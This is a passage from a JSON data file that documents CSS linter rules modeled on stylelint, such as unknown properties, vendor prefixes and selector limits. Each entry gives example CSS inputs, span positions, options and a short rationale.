      "why": "A deprecated property is replaced by another one, and browsers keep it working only for old pages. New code should use the replacement, which gets the fixes and new values.\n\nTo fix, use the replacement: `overflow-wrap` for `word-wrap`, `gap` for `grid-gap`, `clip-path` for `clip`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a property that no CSS specification lists. Vendor-prefixed and custom properties, descriptors of `@font-face` and the like, and names with interpolation or SCSS and Less variables are not reported. The option `ignore` lists names to leave out.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@import \"b.css\";\n\n@import \"c.css\";\na { color: red; }\nb { color: red; }\n\nc { color: red;\n  top: 0; }\nd { color: red;\n  top: 0; }\n/* comment */\ne { color: red; }\n\n/* comment */\n\nf {\n\n  color: red;\n  top: 0;\n\n  left: 0;\n  /* c */\n  right: 0;\n  g { x: y }\n  h { x: y;\n    z: w }\n  @media (a) { top: 0; }\n  bottom: 0;\n}\n@media (a) { top: 0; }\n@media (b) { top: 0; }\n@font-face { font-family: x; }\nx { --a: 1;\n  --b: 2;\n\n  --c: 3;\n  color: red; }\ny {\n  @media (a) { top: 0; }\n  @media (b) { top: 0; }\n}\n",
        "language": "css",
        "other_lines": [
          4,
          10,
          19,
          22,
          26,
          28,
          29,
          31,
          32,
          33,
          34,
          38,
          39,
          40,
          41
        ],
        "spans": [
          {
            "column": 5,
            "length": 1,
            "line": 27
          }
        ]
      },
      "fix": null,
      "id": "property-no-unknown",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "property-no-unknown",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/property-no-unknown"
        },
        {
          "id": "scss/property-no-unknown",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/property-no-unknown/README.md"
        }
      ],
      "why": "An unknown property is almost always a typo (`colour`) or a property that is not yet supported, and the browser drops the declaration without an error, so the style is silently missing.\n\nTo fix, correct the name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a vendor-prefixed property that has a standard property (`-webkit-transition`). The `ignore` option lists names to leave out.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@-webkit-keyframes k { from { color: red } }\n@media (-webkit-min-device-pixel-ratio: 2) {}\na { -webkit-transition: none; -webkit-foo: 1; display: -webkit-flex; background: -webkit-linear-gradient(red, blue) }\na::-moz-selection {}\na:-moz-placeholder, a::-webkit-scrollbar {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          5
        ],
        "spans": [
          {
            "column": 5,
            "length": 18,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "property-no-vendor-prefix",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "property-no-vendor-prefix",
          "note": "`-webkit-background-size` with several values is reported (stylelint skips it).",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/property-no-vendor-prefix"
        }
      ],
      "why": "Prefixed properties were the way to try a feature before it was standardised. Browsers support the standard name now, so the prefixed one is dead weight, and tools that add prefixes where needed (autoprefixing in a build) do it better.\n\nTo fix, delete the prefixed property or use the standard one."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a rule whose block spans several lines and has no empty line before it. A rule that is first in its block, and one right after a comment, need none.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@import \"b.css\";\n\n@import \"c.css\";\na { color: red; }\nb { color: red; }\n\nc { color: red;\n  top: 0; }\nd { color: red;\n  top: 0; }\n/* comment */\ne { color: red; }\n\n/* comment */\n\nf {\n\n  color: red;\n  top: 0;\n\n  left: 0;\n  /* c */\n  right: 0;\n  g { x: y }\n  h { x: y;\n    z: w }\n  @media (a) { top: 0; }\n  bottom: 0;\n}\n@media (a) { top: 0; }\n@media (b) { top: 0; }\n@font-face { font-family: x; }\nx { --a: 1;\n  --b: 2;\n\n  --c: 3;\n  color: red; }\ny {\n  @media (a) { top: 0; }\n  @media (b) { top: 0; }\n}\n",
        "language": "css",
        "other_lines": [
          4,
          19,
          22,
          27,
          28,
          29,
          31,
          32,
          33,
          38,
          40,
          41
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 10
          },
          {
            "column": 3,
            "length": 1,
            "line": 26
          },
          {
            "column": 1,
            "length": 1,
            "line": 34
          },
          {
            "column": 1,
            "length": 1,
            "line": 39
          }
        ]
      },
      "fix": null,
      "id": "rule-empty-line-before",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "rule-empty-line-before",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/rule-empty-line-before"
        }
      ],
      "why": "An empty line between rules shows where one rule ends and the next starts, and keeps a long file scannable. A rule that opens a block has nothing to be separated from, and a comment belongs to the rule below it."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an `:nth-child()` and the like whose `An+B` can never match (`0`, `0n`, `-n`, `-2n-1`).",
      "example": {
        "config": null,
        "fixed": "a:before, a::after, a:hover {}\n[a=b], [a=\"b\"], [a], [a~=b i] {}\na:nth-child(0), a:nth-child(2n+1), a:nth-last-child(-n) {}\n/* a */ /* a */ /** a **/ /* */\n@keyframes k { from { top: 0 } to { top: 1px } }\n@keyframes j { from { top: 0 } 50% { top: 1px } to { top: 2px } }\n",
        "input": "a:before, a::after, a:hover {}\n[a=b], [a=\"b\"], [a], [a~=b i] {}\na:nth-child(0), a:nth-child(2n+1), a:nth-last-child(-n) {}\n/*a*/ /* a */ /** a **/ /**/\n@keyframes k { from { top: 0 } to { top: 1px } }\n@keyframes j { from { top: 0 } 50% { top: 1px } to { top: 2px } }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          6
        ],
        "spans": [
          {
            "column": 3,
            "length": 12,
            "line": 3
          },
          {
            "column": 38,
            "length": 19,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "selector-anb-no-unmatchable",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "selector-anb-no-unmatchable",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-anb-no-unmatchable"
        }
      ],
      "why": "The selector matches no element, so the rule does nothing. It is a miscalculated formula, or a leftover of a larger one.\n\nTo fix, correct the formula; `-n+3` matches the first three."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute selector whose name is in the `list` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3,
          6
        ],
        "spans": [
          {
            "column": 20,
            "length": 8,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "selector-attribute-name-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed attribute names: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-attribute-name-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-attribute-name-disallowed-list"
        }
      ],
      "why": "A project can forbid selecting on an attribute such as `style`, whose value is generated or changes without notice. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute selector operator that is not in the `list` option. An empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          1,
          3,
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "selector-attribute-operator-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed operators (`=`, `~=`, `|=`, `^=`, `$=`, `*=`).",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-attribute-operator-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-attribute-operator-allowed-list"
        }
      ],
      "why": "A project can limit the attribute operators of its selectors to the ones it understands, since `~=`, `|=` and `*=` match in ways that are easy to misread. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute selector operator that is in the `list` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "ul.nav, a[x~=y], a[x=y], b > c {}\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 10,
            "length": 6,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-attribute-operator-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed operators (`=`, `~=`, `|=`, `^=`, `$=`, `*=`).",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-attribute-operator-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-attribute-operator-disallowed-list"
        }
      ],
      "why": "A project can forbid an operator, such as `*=`, whose substring match is easy to misread or slow. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute selector whose value is not quoted (`[a=b]`).",
      "example": {
        "config": null,
        "fixed": "a:before, a::after, a:hover {}\n[a=b], [a=\"b\"], [a], [a~=b i] {}\na:nth-child(0), a:nth-child(2n+1), a:nth-last-child(-n) {}\n/* a */ /* a */ /** a **/ /* */\n@keyframes k { from { top: 0 } to { top: 1px } }\n@keyframes j { from { top: 0 } 50% { top: 1px } to { top: 2px } }\n",
        "input": "a:before, a::after, a:hover {}\n[a=b], [a=\"b\"], [a], [a~=b i] {}\na:nth-child(0), a:nth-child(2n+1), a:nth-last-child(-n) {}\n/*a*/ /* a */ /** a **/ /**/\n@keyframes k { from { top: 0 } to { top: 1px } }\n@keyframes j { from { top: 0 } 50% { top: 1px } to { top: 2px } }\n",
        "language": "css",
        "other_lines": [
          1,
          3,
          4,
          6
        ],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 2
          },
          {
            "column": 22,
            "length": 8,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "selector-attribute-quotes",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "selector-attribute-quotes",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-attribute-quotes"
        }
      ],
      "why": "An unquoted value must be a valid identifier, so a value with a space, a digit at the start or a punctuation mark makes the selector invalid and the rule is dropped. Always quoting avoids the trap.\n\nTo fix, wrap the value in quotes: `[a=\"b\"]`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class selector whose name does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".good-name, .badName, #bad_id, #good-id { --good-name: 1; --badName: 2 }\n@keyframes badFrames { from { top: 0 } }\n@keyframes good-frames { from { top: 0 } }\n@custom-media --badMedia (min-width: 1px);\n@custom-media --good-media (min-width: 1px);\n@layer badLayer, good-layer;\n@container badBox (min-width: 1px) { a { color: red } }\n@container good-box (min-width: 1px) { a { color: red } }\nA, B.c:not(.dX) {}\n",
        "language": "css",
        "other_lines": [
          2,
          4,
          6,
          7
        ],
        "spans": [
          {
            "column": 14,
            "length": 7,
            "line": 1
          },
          {
            "column": 13,
            "length": 2,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "selector-class-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a class name must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "selector-class-pattern",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-class-pattern"
        }
      ],
      "why": "A naming convention for classes (kebab case, BEM) makes them predictable, so you can guess a class and search for it. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a combinator (`>`, `+`, `~`, or a space for the descendant combinator) that is not in the `list` option. An empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 19,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "selector-combinator-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed combinators.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-combinator-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-combinator-allowed-list"
        }
      ],
      "why": "A project can limit which relations between elements its selectors may use, for example to keep selectors short and fast to match. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a combinator (`>`, `+`, `~`, or a space for the descendant combinator) that is in the `list` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3,
          6
        ],
        "spans": [
          {
            "column": 17,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "selector-combinator-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed combinators.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-combinator-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-combinator-disallowed-list"
        }
      ],
      "why": "A project can forbid a combinator, for example the descendant combinator, which ties a rule to the depth of the markup. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a rule whose selector list, with whitespace collapsed, is in the `list` option (selectors, or `/regex/`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "ul.nav, a[x~=y], a[x=y], b > c {}\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 30,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed selectors: text, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-disallowed-list"
        }
      ],
      "why": "A project can forbid selectors that cause trouble, such as `*` or a bare element, which restyle everything. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an id selector whose name does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".good-name, .badName, #bad_id, #good-id { --good-name: 1; --badName: 2 }\n@keyframes badFrames { from { top: 0 } }\n@keyframes good-frames { from { top: 0 } }\n@custom-media --badMedia (min-width: 1px);\n@custom-media --good-media (min-width: 1px);\n@layer badLayer, good-layer;\n@container badBox (min-width: 1px) { a { color: red } }\n@container good-box (min-width: 1px) { a { color: red } }\nA, B.c:not(.dX) {}\n",
        "language": "css",
        "other_lines": [
          2,
          4,
          6,
          7,
          9
        ],
        "spans": [
          {
            "column": 23,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-id-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex an id name must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "selector-id-pattern",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-id-pattern"
        }
      ],
      "why": "A naming convention for ids makes them predictable, so you can guess one and search for it. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a selector with more attribute selectors than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 25,
            "length": 6,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-max-attribute",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 0,
          "description": "The most attribute selectors a selector may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-max-attribute",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-max-attribute"
        }
      ],
      "why": "Each attribute selector adds the specificity of a class and one more thing to match, so a limit keeps rules short and easy to override."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a selector with more class selectors than the `max` option; classes inside `:not()` and the like count.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 2,
            "length": 5,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-max-class",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 0,
          "description": "The most classes a selector may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-max-class",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-max-class"
        }
      ],
      "why": "Every class in a selector is one more thing that must match, so a rule with many classes has high specificity and is hard to override and tied to the markup. A limit keeps selectors short."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a selector with more combinators than the `max` option; a space between two compound selectors counts.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 16,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-max-combinators",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 2,
          "description": "The most combinators a selector may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-max-combinators",
          "note": "differs from stylelint on :nth-child(An+B of S) selector lists",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-max-combinators"
        }
      ],
      "why": "Every combinator ties the rule to one more level of the markup, so deep selectors break when the markup changes and are slow to read and match. A limit keeps selectors shallow."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a selector with more compound selectors (parts between combinators) than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 16,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-max-compound-selectors",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 3,
          "description": "The most compound selectors a selector may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-max-compound-selectors",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-max-compound-selectors"
        }
      ],
      "why": "A selector with many compound parts describes a long path through the markup. It breaks when the markup changes and has to be matched from right to left on every element. A limit keeps it shallow."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a selector with more id selectors than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 9,
            "length": 5,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-max-id",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 0,
          "description": "The most ids a selector may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-max-id",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-max-id"
        }
      ],
      "why": "An id adds more specificity than any number of classes, so a rule with ids can only be overridden by another id or by `!important`. A limit (often 0) keeps the specificity of a project flat."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a selector with more pseudo-classes than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 38,
            "length": 13,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-max-pseudo-class",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 0,
          "description": "The most pseudo-classes a selector may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-max-pseudo-class",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-max-pseudo-class"
        }
      ],
      "why": "Each pseudo-class adds the specificity of a class and a state that must hold, so a long chain such as `a:hover:focus:active` is hard to override and hard to read. A limit keeps selectors simple."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a selector with more type selectors than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 16,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-max-type",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 0,
          "description": "The most type selectors a selector may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-max-type",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-max-type"
        }
      ],
      "why": "A selector made of many element names (`div ul li a`) is tied to the markup and breaks when an element is wrapped or changed. A limit pushes the styling to classes."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a selector with more `*` than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 33,
            "length": 3,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selector-max-universal",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 0,
          "description": "The most universal selectors a selector may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selector-max-universal",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-max-universal"
        }
      ],
      "why": "The universal selector matches everything, so each one widens the rule, and `* *` can cost time on large pages. A limit keeps such selectors rare."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a deprecated pseudo-class, pseudo-element or HTML or SVG element used as a type selector (`center {}`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@nest a {}\na { word-wrap: break-word; clip: rect(0 0 0 0); -webkit-box-flex: 1; grid-gap: 1px }\n@media tv, only handheld and (color), print {}\ncenter, a:matches(b), a::content, b {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 4
          },
          {
            "column": 11,
            "length": 10,
            "line": 4
          },
          {
            "column": 26,
            "length": 7,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "selector-no-deprecated",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "selector-no-deprecated",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-no-deprecated"
        }
      ],
      "why": "A deprecated selector targets something that the standard removed, so it matches less and less over time, and browsers may drop it.\n\nTo fix, use the replacement named in the specification."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a type selector in the same compound as a class, id or attribute selector (`ul.nav`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3,
          6
        ],
        "spans": [
          {
            "column": 19,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "selector-no-qualifying-type",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "selector-no-qualifying-type",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/selector-no-qualifying-type"
        }
      ],
      "why": "The element name adds specificity and ties the rule to one element: changing `ul` to `ol` breaks the style, while `.nav` would have kept working.\n\nTo fix, delete the type selector."
    },
    {
      "category": "style",
      "default_level": "off",
